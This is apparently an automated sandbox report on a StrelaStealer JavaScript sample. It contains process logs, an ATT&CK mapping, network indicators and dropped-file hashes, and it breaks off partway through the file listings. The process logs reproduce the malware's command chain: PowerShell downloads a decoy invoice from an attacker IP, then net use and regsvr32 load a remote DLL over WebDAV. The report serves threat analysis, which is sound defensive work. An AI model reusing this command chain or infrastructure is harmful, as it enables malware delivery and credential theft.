Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2556095152538830312.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tg	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.1422722872.000001E29F6F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2648959343.000001E29F800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/tg	net.exe, 00000007.00000002.1424846911.0000021FDB1F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1424846911.0000021FDB1F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1418194991.0000021FDB233000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1418194991.0000021FDB21D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1424957383.0000021FDB21D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588597
Start date and time:	2025-01-11 02:56:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2556095152538830312.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.40.149.189, 2.23.240.205, 172.64.41.3, 162.159.61.3, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 3.233.129.217, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, twc.trafficmanager.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2556095152538830312.js

Simulations

Behavior and APIs

Time	Type	Description
20:58:03	API Interceptor	25x Sleep call for process: powershell.exe modified
20:58:07	API Interceptor	1x Sleep call for process: net.exe modified
20:58:08	API Interceptor	2x Sleep call for process: svchost.exe modified
20:58:17	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066981533939459
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh0I
MD5:	F8122E03D89F7E3F71D4D11D2B516F5A
SHA1:	232B1D430605A6E8CA01FB55DDFACB14C9EB0788
SHA-256:	9420BA211E08179EE73842C711FCD024BF9D68476A1B28640D4DD6EAF6FB7343
SHA-512:	41295B39DDE989B073836E178EBBEB2D382D989E0BF444C688F1666718F06918B0ABE0DB87B5F38F47C75356985449991BF6ECF751314B538781CA674A9768E9
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe992c9ab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899772742361337
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	39FAD5798D2A899E562A8678FCE07E69
SHA1:	51C1313BDCC7DABFF85D7399A195C542BE2E7F75
SHA-256:	8C7451B2E9807454688971B0C8A7EC8F460E44B4E8F4BD8380C8088E10064CEF
SHA-512:	E91A88394E2B2CA2CCFC61C54C4CF6EB6764E8CDB9F3C22CE747E40D0030786B8BC6015E48C3680D6F96813DD16B72C96F4F3E78D1AACBFB6F6853C590D96F63
Malicious:	false
Preview:	..... ...............X\...;...{......................0.`.....42...{5..:...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................8.:...}+.................9.Z..:...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08199460015745741
Encrypted:	false
SSDEEP:	3:8gmUYeavk5xD1t/57Dek3JBtMuk5///ollEqW3l/TjzzQ/t:8jUzMspHR3tb85XAmd8/
MD5:	9F8105F7DEA2CC825048EB42B7E0A822
SHA1:	7FFB8D8B066A08BADB9C33429A16ED0C98C2DBB1
SHA-256:	1A8447EF06BFC0D61D57D37F12BFCB8AA2ACD33EDBDBE8C5912FF1A38D262EB4
SHA-512:	EA3CD46774FA62D1EC63E3DFDCC216C374F9951CE4E5275DF16BB90BF095F53A2DE9C16165DA4600BB81FBE079045AFA5FE800E802CE22C8BAF21154E1466DFF
Malicious:	false
Preview:	S.e......................................;...{...:...}..42...{5.........42...{5.42...{5...Y.42...{59................9.Z..:...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.14183906804263
Encrypted:	false
SSDEEP:	6:iO4qVOtAQ+q2PcNwi2nKuAl9OmbnIFUtSqVOvTAgZmwsqVOvTAQVkwOcNwi2nKui:7nOtAVvLZHAahFUtZO7Ag/LO7AI54ZHi
MD5:	3A8EB6A5090D8424BEB26CBD889933BD
SHA1:	BC1BB9E0F21021D557C91E6A46C26BF73462FEB8
SHA-256:	050AC0481CD9C668A804F1C49FA9D5C3BE7C06B064577FB33A1A6D558042CAED
SHA-512:	925F442DA6075E33BB8F424A0DDB2E2DF2BB5A72BCCBD816E1A0E510CF25B0A82A50DCFD27077434535DE8E7FA3B980EE699028153D312732D9ADF7A3C8018FD
Malicious:	false
Preview:	2025/01/10-20:58:08.083 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:58:08.085 1fb8 Recovering log #3.2025/01/10-20:58:08.085 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.14183906804263
Encrypted:	false
SSDEEP:	6:iO4qVOtAQ+q2PcNwi2nKuAl9OmbnIFUtSqVOvTAgZmwsqVOvTAQVkwOcNwi2nKui:7nOtAVvLZHAahFUtZO7Ag/LO7AI54ZHi
MD5:	3A8EB6A5090D8424BEB26CBD889933BD
SHA1:	BC1BB9E0F21021D557C91E6A46C26BF73462FEB8
SHA-256:	050AC0481CD9C668A804F1C49FA9D5C3BE7C06B064577FB33A1A6D558042CAED
SHA-512:	925F442DA6075E33BB8F424A0DDB2E2DF2BB5A72BCCBD816E1A0E510CF25B0A82A50DCFD27077434535DE8E7FA3B980EE699028153D312732D9ADF7A3C8018FD
Malicious:	false
Preview:	2025/01/10-20:58:08.083 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:58:08.085 1fb8 Recovering log #3.2025/01/10-20:58:08.085 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1934410837507965
Encrypted:	false
SSDEEP:	6:iO4qVOaXHwIq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVOaXcqZmwsqVOaXcWkwOcNwy:7nOcQIvLZHAa8uFUtZOccq/LOccW54Zg
MD5:	68E49D1AEDE77450DCA5C26BC5AC1BE3
SHA1:	A6D75CEEEB003576AA2CEFB0AFACEC4961EF758F
SHA-256:	381752FE054A9CD84334EC503810A894BE4D14FFB086BDC968754D40F1E6D6D9
SHA-512:	B28DFD8B6B07E7587019308A27F3C3934D9D2EE63D58B0F229A1313E30C16DD359E4A536268A6399802C1FB1CBF6F40463D51C82CA28A4BCC81C0B3D5884ADCE
Malicious:	false
Preview:	2025/01/10-20:58:08.128 1934 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:58:08.129 1934 Recovering log #3.2025/01/10-20:58:08.129 1934 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1934410837507965
Encrypted:	false
SSDEEP:	6:iO4qVOaXHwIq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVOaXcqZmwsqVOaXcWkwOcNwy:7nOcQIvLZHAa8uFUtZOccq/LOccW54Zg
MD5:	68E49D1AEDE77450DCA5C26BC5AC1BE3
SHA1:	A6D75CEEEB003576AA2CEFB0AFACEC4961EF758F
SHA-256:	381752FE054A9CD84334EC503810A894BE4D14FFB086BDC968754D40F1E6D6D9
SHA-512:	B28DFD8B6B07E7587019308A27F3C3934D9D2EE63D58B0F229A1313E30C16DD359E4A536268A6399802C1FB1CBF6F40463D51C82CA28A4BCC81C0B3D5884ADCE
Malicious:	false
Preview:	2025/01/10-20:58:08.128 1934 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:58:08.129 1934 Recovering log #3.2025/01/10-20:58:08.129 1934 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\40a132e7-aa8e-4e50-bd53-ab470698f1fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF597a4f.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e65b6aa8-7d68-4d2e-b28b-d1beb3c25f47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.979003384211006
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqiSRUsBdOg2Hdcaq3QYiubSpDyP7E4T3y:Y2sRdsViZdMHs3QYhbSpDa7nby
MD5:	9D0A560E1715D45E9AEA2782EF562105
SHA1:	6249894545D555B3AC6426FCB187D6602DA87D85
SHA-256:	BFF58016F1AC316BE4702AF8D8EC66AF3CB908E682AAA09E0C806C2BF20AB8D0
SHA-512:	F6EF6B24B4A5A068188072A72F2A860932D7FE4CE16EA356FE12A7878832218EA7193BD306E8624D378A609C61CF4136F5161CFBC988399E62428DD7372A0EF0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120699557460","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125029},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236884470500714
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPElnxJU:CwNw1GHqPySfkcigoO3h28ytPWnxJU
MD5:	BEB6058C54701962564400557F27E63A
SHA1:	E893F3944ED876A92B4E707B711E6896EA353C31
SHA-256:	59E4E1114AC7BF83192D946D0597FCC649EC3C94C3D86D0B440ACD0497F3C5B3
SHA-512:	19A6D6B2BFDEFA6073EFBEB1DCCED6A5749610CC3448F3F4859E90A574A8F138FA9F36F14D826076C99BDA1612245EF1D0286C14EFD9183F1DC184358186D6FF
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
